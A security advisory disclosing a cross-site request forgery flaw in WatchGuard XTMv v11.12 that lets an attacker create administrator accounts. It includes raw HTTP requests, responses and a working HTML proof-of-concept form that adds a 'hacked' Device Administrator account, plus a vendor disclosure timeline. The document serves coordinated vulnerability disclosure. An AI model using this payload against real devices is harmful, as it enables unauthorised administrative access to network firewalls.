KL-001-2017-004 : WatchGuard XTMv User Management Cross-Site Request Forgery
Title: WatchGuard XTMv User Management Cross-Site Request Forgery
Advisory ID: KL-001-2017-004
Publication Date: 2017.03.10
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-004.txt
1. Vulnerability Details
Affected Vendor: WatchGuard
Affected Product: XTMv
Affected Version: v11.12 Build 516911
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
Impact: Privileged Access
Attack vector: HTTP
2. Vulnerability Description
Lack of CSRF protection in the Add User functionality of the
XTMv management portal can be leveraged to create arbitrary
administrator-level accounts.
3. Technical Description
As observed below, no CSRF token is in use when adding a new
user to the management portal.
POST /put_data/ HTTP/1.1
Host: 1.3.3.7:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 365
Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
DNT: 1
Connection: close
{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device
Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}
The HTTP response indicates that the changes were successful.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 68
Expires: Sun, 28 Jan 2007 00:00:00 GMT
Vary: Accept-Encoding
Server: CherryPy/3.6.0
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Date: Sat, 10 Dec 2016 18:08:22 GMT
Content-Type: application/json
Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly;
Path=/; secure
Connection: close
{"status": true, "message": ["The changes were saved successfully"]}
Now, the newly created backdoor account can be accessed.
POST /agent/login HTTP/1.1
Host: 1.3.3.7:8080
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 414
Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
DNT: 1
Connection: close
<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>
The response below shows the application issuing an authenticated
session cookie.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/xml
Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
Connection: close
Date: Sat, 10 Dec 2016 19:55:26 GMT
Server: none
Content-Length: 751
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value>
<struct>
<member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
<member><name>response</name><value></value></member>
<member>
<name>readwrite</name>
<value><struct>
<member><name>privilege</name><value>2</value></member>
<member><name>peer_sid</name><value>0</value></member>
<member><name>peer_name</name><value>error</value></member>
<member><name>peer_ip</name><value>0.0.0.0</value></member>
</struct></value>
</member>
</struct>
</value>
</param>
</params>
</methodResponse>
4. Mitigation and Remediation Recommendation
The vendor has remediated this vulnerability in WatchGuard
XTMv v11.12.1. Release notes and upgrade instructions are
available at:
https://www.watchguard.com/support/release-notes/fireware/11/en-US/EN_ReleaseNotes_Fireware_11_12_1/index.html
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.
6. Disclosure Timeline
2017.01.13 - KoreLogic sends vulnerability report and PoC to
WatchGuard.
2017.01.13 - WatchGuard acknowledges receipt of report.
2017.01.23 - WatchGuard informs KoreLogic that the
vulnerability will be addressed in the forthcoming
v11.12.1 firmware, scheduled for general
availability on or around 2017.02.21.
2017.02.22 - WatchGuard releases v11.12.1.
2017.03.10 - KoreLogic public disclosure.
7. Proof of Concept
<html>
<body>
<form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
<input type="hidden"
name="{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked3","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked3","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}"
value="" />
<input type="submit" value="Trigger" />
</form>
</body>
</html>
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KoreLogic, Inc. and are licensed under a Creative Commons
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